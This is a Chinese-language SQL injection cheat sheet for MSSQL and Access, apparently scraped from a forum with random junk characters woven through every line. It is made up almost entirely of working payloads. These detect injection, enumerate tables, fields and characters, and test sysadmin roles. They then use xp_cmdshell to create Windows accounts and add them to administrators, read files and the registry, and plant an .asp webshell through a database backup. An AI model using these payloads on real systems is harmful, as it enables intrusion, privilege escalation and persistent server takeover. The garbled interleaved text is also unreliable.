手工脚本注入
- G# U) ?2 [/ j( A& E! J, i1.判断是否有注入;and 1=1 ;and 1=2 " ], I7 m" w* E, R9 y
- Y% b& L/ o/ R% q2 U
2.初步判断是否是mssql ;and user>0 + i" H1 X/ Q6 J4 p! U' l
2 v% `; i; Y6 V1 R m, ~
3.注入参数是字符'and [查询条件] and ''='
) I( d8 p t( K* U/ R/ M0 c) d
q8 R( H% d6 y$ q5 f$ h' T2 h q4.搜索时没过滤参数的'and [查询条件] and '%25'=' 3 z3 t: {4 r! ~: }4 p# ^% ~# F: E7 s
/ w; u1 k: m2 {+ O* }3 j5.判断数据库系统 0 b1 S; m9 b8 W( A: K z* |
;and (select count(*) from sysobjects)>0 mssql
" g( E3 u4 L" F;and (select count(*) from msysobjects)>0 access ' R& w! ]9 M8 i: t9 C
# n0 S, L6 p+ J* [" R) t5 w
6.猜数据库 ;and (select Count(*) from [数据库名])>0
1 l. d) `' A2 @( X- r4 C4 M
+ a3 ^& Q" U0 d3 Q/ r" z" ?7.猜字段 ;and (select Count(字段名) from 数据库名)>0
; g. N! Q ^; j& I0 P, }9 P5 K+ I, O9 s0 ?- o
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 M( x& ^( R S3 \. [8 F
2 E& U. N( H& g; u2 G6 [% M) a4 U: f9.(1)猜字段的ascii值(access) 2 F3 } M' w! y K
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
B1 {1 c, D h8 p u+ l- K5 H( b x: U6 Z3 L \2 Y% c
(2)猜字段的ascii值(mssql) ! Y. V& K- \# K: m
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
) O. k! I: k1 X! k ~4 C' `2 H0 K% v) D" T2 c6 S; |# N4 K% R
10.测试权限结构(mssql) ( M8 f, ~( G; M0 k- h) H# n6 `+ b2 f( U
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ! @( B$ z) s: V1 V: a
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 8 [: F: A4 ^: r+ j# F
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
0 O3 [# y, ?1 q4 w7 `: @;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ' b* A3 Y8 u0 M/ Q, U& O
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- : U+ G" K" Y0 R; A
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ) b2 T' e& O: d6 P" t
;and 1=(select IS_MEMBER('db_owner'));-- 0 l+ C8 a$ J1 }0 W0 n; ?
% Y6 s+ e' o3 H7 [2 q2 h- V; F) b11.添加mssql和系统的帐户 : b6 P1 ~) ~; \' k7 X
;exec master.dbo.sp_addlogin username;--
0 |% T; E" }0 J/ U( N7 k" Q# t, ]9 z# U( F# f9 ~) p% W1 s
;exec master.dbo.sp_password null,username,password;-- . ]* r8 H7 F7 ^8 C( t
6 @$ U+ c# }6 B3 o4 m;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ) I5 G D# X* z( b8 I4 R' r/ s
, d2 L) H. X0 m* h# e* J& S6 s;exec master.dbo.xp_cmdshell 'net user username password % d0 K1 {+ F1 \# t# X
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 6 ? O: c% _7 r' q; {2 x# J
: P# v6 t- h) ~ R, l( R+ G3 m
;exec master.dbo.xp_cmdshell 'net user username password /add';-- F; a5 b5 C/ N. d% f
# N2 R1 b; V0 z; ~ @ \;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- : F6 |, @' {/ O z
: ?8 C4 m- c- Z: d- d& n
12.(1)遍历目录 f% Y5 A0 l$ r* Q. W! C4 @
8 C# W: i* }7 K" u
;create table dirs(paths varchar(100), id int) ! E# J s |* X+ r' P- c! ] G
;insert dirs exec master.dbo.xp_dirtree 'c:\'
8 j8 X5 m6 k- \ u' F* {7 l;and (select top 1 paths from dirs)>0 9 a. _6 K% z9 _* j8 I2 p
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) " r8 D! e. q4 R6 c. R6 S6 n+ h8 a0 a
) x( O4 @5 N2 g+ h
(2)遍历目录 ; p# U2 j% W# m0 H" E' W: P
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9 Q( [; D ?8 r! q' ?) I! ^+ m
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 % V/ r4 o" i- `/ u! J: H( e
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 : }0 s P0 l& |8 e
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
w! H+ p4 q% @8 i$ ?( X& \0 |;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 5 _- ^" u( y5 D
" b& B4 z' P9 f* }: c j13.mssql中的存储过程 9 q) N, f/ M( I
4 l% r0 a$ a! Q; R, V; d2 ~% Lxp_regenumvalues 注册表根键, 子键
, a2 o$ L6 o7 S0 T+ n% m;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ^+ q. [7 ]: Z9 L1 [
' q1 h% U! l1 Bxp_regread 根键,子键,键值名 2 `; F, Y# S+ d' [0 M
;exec xp_regread
w9 r- C: K$ i. _'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
( a7 u* G6 E' h% K F3 ^( a) e- o" T6 j+ n- _ i- x/ c; X
xp_regwrite 根键,子键, 值名, 值类型, 值
0 y7 { R5 c: i值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
! R9 T0 `) e* V8 V;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 @' C# ?# Y9 j* B( }
u1 E% m# L3 x9 L% _7 t6 E6 c
xp_regdeletevalue 根键,子键,值名 ' T$ v" K' t; n$ M7 W8 o+ s4 y/ L
* u) U/ @2 p3 Q/ p; n' S% l l5 c
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 : s2 x7 K* h4 E( B
1 C. k- L( u" j+ g3 a' Axp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 # Z- @" _5 h3 n2 Y
' n! `: q- K9 f0 L/ s) ^14.mssql的backup创建webshell / r4 x* Q5 R. F
use model
* I- Z: D5 V- A ^create table cmd(str image); " c4 I4 e- x3 z- Z% e# R9 T
insert into cmd(str) values ('');
6 ^* m$ [5 \7 o4 X" h/ |8 [backup database model to disk='c:\l.asp';
" P) A, _) y, f1 v ~! s
- p0 ^" p! ]. G2 O" V$ r15.mssql内置函数
6 u; ?# O- r4 @7 m3 p' j) P! u5 R/ };and (select @@version)>0 获得Windows的版本号 : A2 K' k3 C# j3 L; C1 g
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
5 S; q6 X X9 Q' K6 d5 W7 V a; O;and (select user_name())>0 爆当前系统的连接用户
( J. m% y/ S3 R6 t% u;and (select db_name())>0 得到当前连接的数据库 3 D2 k. ^2 Y: `5 \% \/ q3 Z5 }( Z
/ X' w" P: ?5 |1 @) [% q9 Z16.简洁的webshell ' u: ?& O/ ~* I' N/ |
5 k& i+ d9 I0 B: uuse model
% n! C8 I6 v& e0 r
) N3 E/ V* A; S* w9 \+ [/ J. Ocreate table cmd(str image); 9 g; a e. V/ s* p: |
; y! @5 P: Q7 R( H, ^4 S. Uinsert into cmd(str) values ('');
' s$ N* [; |0 x4 b
3 t! ?* ]0 u' ?! u$ A% V3 Q2 |backup database model to disk='g:\wwwtest\l.asp';
! ]8 M' t+ O, D& R- O 8 V" `1 @' N! ]8 z0 f% F' i
|